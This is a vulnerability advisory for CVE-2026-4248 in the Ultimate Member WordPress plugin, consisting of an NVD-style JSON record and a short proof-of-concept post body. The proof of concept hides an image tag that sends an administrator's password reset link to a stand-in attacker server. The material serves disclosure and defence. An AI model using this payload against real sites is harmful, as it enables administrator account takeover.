CVE-2026-4248

<!-- Attacker creates a post with the following content --> [um_loggedin] <!-- Embed image tag to exfiltrate data --> <img src="https://attacker-controlled-server.com/collect.php?token={usermeta:password_reset_link}" width="1" height="1" style="display:none;"> [/um_loggedin] <!-- Explanation: When an admin previews this post, the plugin replaces the tag with a valid reset link. The browser then loads the image, sending the link to the attacker. -->

{"cve": {"id": "CVE-2026-4248", "sourceIdentifier": "[email protected]", "published": "2026-03-27T23:17:14.753", "lastModified": "2026-04-24T16:36:24.067", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Ultimate Member plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 2.11.2. This is due to the '{usermeta:password_reset_link}' template tag being processed within post content via the '[um_loggedin]' shortcode, which generates a valid password reset token for the currently logged-in user viewing the page. This makes it possible for authenticated attackers, with Contributor-level access and above, to craft a malicious pending post that, when previewed by an Administrator, generates a password reset token for the Administrator and exfiltrates it to an attacker-controlled server, leading to full account takeover."}, {"lang": "es", "value": "El plugin Ultimate Member para WordPress es vulnerable a la exposición de información sensible en todas las versiones hasta e incluyendo la 2.11.2. Esto se debe a que la etiqueta de plantilla '{usermeta:password_reset_link}' se procesa dentro del contenido de una publicación a través del shortcode '[um_loggedin]', lo que genera un token de restablecimiento de contraseña válido para el usuario actualmente conectado que ve la página. Esto hace posible que atacantes autenticados, con acceso de nivel Colaborador o superior, creen una publicación maliciosa pendiente que, cuando es previsualizada por un Administrador, genera un token de restablecimiento de contraseña para el Administrador y lo exfiltra a un servidor controlado por el atacante, lo que lleva a una toma de control total de la cuenta."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.0, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.1, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-285"}]}], "references": [{"url": "https://github.com/ultimatemember/ultimatemember/pull/1799", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ultimate-member/tags/2.11.2/includes/um-short-functions.php#L205", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3492178/ultimate-member/trunk/includes/um-short-functions.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/baafd001-144d-4ee4-b7e6-28c0931e6e10?source=cve", "source": "[email protected]"}]}}